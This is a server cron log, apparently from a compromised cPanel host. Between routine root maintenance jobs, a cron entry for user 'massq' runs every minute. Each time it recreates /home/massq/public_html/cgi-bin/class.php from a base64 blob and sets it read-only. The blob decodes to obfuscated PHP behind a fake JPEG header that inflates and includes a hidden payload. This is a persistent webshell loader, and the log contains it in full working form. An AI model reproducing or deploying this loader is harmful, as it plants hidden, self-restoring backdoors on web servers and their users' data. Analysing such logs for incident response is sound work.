Sep 12 05:30:02 server CROND[1126]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:30:02 server CROND[1122]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:30:02 server CROND[1121]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 05:30:02 server CROND[1123]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 05:31:01 server CROND[2038]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:31:01 server CROND[2039]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 05:31:01 server CROND[2040]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:32:01 server CROND[2413]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 05:32:01 server CROND[2414]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:32:01 server CROND[2415]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:33:01 server CROND[2827]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 05:33:01 server CROND[2826]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:33:01 server CROND[2828]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:34:01 server CROND[3189]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:34:01 server CROND[3190]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 05:34:01 server CROND[3191]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:35:01 server CROND[3664]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 05:35:01 server CROND[3666]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 05:35:01 server CROND[3672]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 05:35:01 server CROND[3670]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:35:01 server CROND[3668]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 12 05:35:01 server CROND[3671]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 05:35:01 server CROND[3673]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 05:35:01 server CROND[3667]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:35:01 server CROND[3669]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 05:36:01 server CROND[4491]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:36:01 server CROND[4490]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:36:01 server CROND[4496]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 05:37:01 server CROND[4856]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:37:01 server CROND[4857]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 05:37:01 server CROND[4858]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:38:01 server CROND[5226]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:38:01 server CROND[5227]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:38:01 server CROND[5229]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 05:39:01 server CROND[5594]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:39:01 server CROND[5595]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 12 05:39:01 server CROND[5596]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:39:01 server CROND[5597]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 05:40:01 server CROND[6071]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 05:40:01 server CROND[6074]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:40:01 server CROND[6075]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 05:40:01 server CROND[6073]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 05:40:01 server CROND[6072]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 05:40:01 server CROND[6076]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:40:01 server CROND[6079]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 05:40:01 server CROND[6078]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 05:41:01 server CROND[6888]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:41:01 server CROND[6889]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 05:41:01 server CROND[6890]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
